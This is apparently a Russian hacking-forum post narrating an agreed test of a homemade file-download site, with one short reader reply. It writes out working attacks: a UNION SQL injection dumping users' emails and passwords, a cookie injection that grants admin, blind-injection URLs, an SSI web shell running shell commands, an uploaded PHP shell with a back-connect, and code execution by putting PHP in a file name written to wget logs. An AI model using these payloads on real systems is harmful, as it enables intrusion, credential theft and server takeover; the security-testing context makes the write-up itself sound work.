В общем на статью может быть не тянет, но поделиться хочется, смысл в том, что я со знакомым админом договорился что потестю их сервис. Сервис - что то наподобие файлообменника, вернее качалки с других файлообменников. Да, забыл сказать что двиг был самописный. Походу рассказа буду вставлять логи из разговора, вернее часть логов: Code: scipio (21:34:54 2/02/2009) http://testsite.ru/script.php?cat=-2%20union%20select%201,2,group_concat(email,0x3a,name,0x3a,password,0x3a,superuser)%20from%20users%20where%20superuser%3E0+--+ scipio (21:35:02 2/02/2009) пришла ссылка? ******* (21:35:06 2/02/2009) ога ******* (21:43:33 2/02/2009) погоди ******* (21:43:35 2/02/2009) ничо не понял ******* (21:43:36 2/02/2009) $category = mysql_escape_string( $_GET["cat"] ); scipio (21:44:57 2/02/2009) ну и? экранирует кавычки, а толку то? Вобщем простенькая ничем не примечательная инъекция, описание которых в сети и без того много. Далее я нашел инъекцию в куках, я не буду приводить кусок лога, где було общение про эту инъекцию т.к. там один мат со стороны админа в сторону кодеров, скажу только что подставив себе куки Code: yagoda-cookie=admin%40testsite.ru' or 1=1 -- я стал админом. Ну и под конец были найдены еще пара-тройка слепых инъекций Code: scipio (23:07:45 2/02/2009) http://testsite.ru/del.php?id=483011111%20and%201=if(substring(version(),1,1)=5,1,(select%201%20union%20select%202)) scipio (23:08:06 2/02/2009) http://testsite.ru/del.php?id=483011111%20and%201=if(substring(version(),1,1)=4,1,(select%201%20union%20select%202)) Через несколько дней когда я вернулся к этому сайту началось самое забавное, я понял что файлы качаются не с помощью функций php, а средствами ОС, а точнее качалкой WGET, забавным оказалось то, что файлы скачивались с тем же расширением как они были в изначальном виде. Т. е. залив на народ файл shell.php и скачав его на этот файлообменник, я получал на серве файл с расширением php, все бы хорошо, но была маленькая деталь которая усложняла жизнь (хотя не особо то усложняла), к файлу добавлялся timestamp перед именем, написать брутер под это дело было не сложно и времени бы такой брутер совсем бы не занял. Но человеку свойственно самому придумывать для себя проблеммы и сложности, так и я не заметил наипростейшего решения. Оказывается папка upload, куда собственно и закачивались файлы, была доступна на просмотр. Я без труда находил свои php файлы. Шелл был залит. Соответственно я показал это админу и он закрыл возможность выполнять php скрипты с помощью .htaccess, который нельзя было преписать из-за timectamp (О блин, его же можно удалить и я знаю как, это мысля мне пришла в голову только сейчас). Еще через несколько дней Code: scipio (21:45:21 28/03/2009) слух а у пхп на вашем серве не стоит случаем mod_include? ****** (21:46:12 28/03/2009) allow_url_include Off ****** (21:46:24 28/03/2009) mod_include есть ****** (21:46:25 28/03/2009) даа scipio (21:46:29 28/03/2009) ))))))))00 ****** (21:46:31 28/03/2009) а чо эт ваще ****** (21:46:53 28/03/2009) м ? scipio (21:47:13 28/03/2009) ну это значит что возможность вас похекать остается) Вобщем дальше я создал файло с названием shell.shtml и с содержанием: Code: <!--#exec cmd="$QUERY_STRING_UNESCAPED"--> далее я его закачал и обратился: Code: http://testsite.ru/upload/1238347498_shell.shtml?ls -lp передо мной был листинг текущей папки. Об этом я тоже сообщил админу, и он прикрыл это безобразие. Намба фо. Седня решил зайти на этот сайт и чтото скачать, произошел глюк и я увидел не содержимое файла а лог wget. Когда я его увидел, я широко улыбнулся, потому как у меня появилась идея.Приведу пример логфайла http://testsite.ru/_logs/1242257939_filo.txt.wgetlog : Code: --2009-05-14 03:39:00-- http://www.mysite.it/uploadfile/filo.txt Resolving www.mysite.it... 66.xx.xx.xx Connecting to www.mysite.it|66.xx.xx.xx|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3 [text/plain] Saving to: `./upload/1242257939_filo.txt' 0K 100% 626K=0s 2009-05-14 03:39:00 (626 KB/s) - `./upload/1242257939_filo.txt' saved [3/3] Я зашел на шелл http://www.mysite.it/uploadfile/r57.php и сделал бекконект, дале в консоли я набрал: Code: echo "ff">\<\?phpinfo\(\)\?\>\.php тем самым создал на серве файл с именем <?phpinfo()?>.php. Содержимое файла было не важно, потом перевел в урл кодировку <?phpinfo()?>.php и получил %3C%3F%70%68%70%69%6E%66%6F%28%29%3F%3E%2E%70%68%70 На сайте testsite.ru в адрессное поле я ввел Code: http://www.mysite.it/uploadfile/%3C%3F%70%68%70%69%6E%66%6F%28%29%3F%3E%2E%70%68%70 после того как закачка прошла успешно, я обратился Code: http://testsite.ru/_logs/1242258092_%3C%3fphpinfo()%3f%3E.php.wgetlog Угадайте что я увидел , <?phpinfo()?> выполнилось, т.к. .htaccess в папке _logs небыло а апач не распознал расширение wgetlog и обработал предыдущее расширение, т.е. php. Соответственно и полноценный шелл залить не сложно. Админу я уже написал.
Даа интересная заметка) Только я не догнал - phpinfo() выполняется если в названии скрипта <?php phpinfo();?> ? почему так? PS аа.. понял...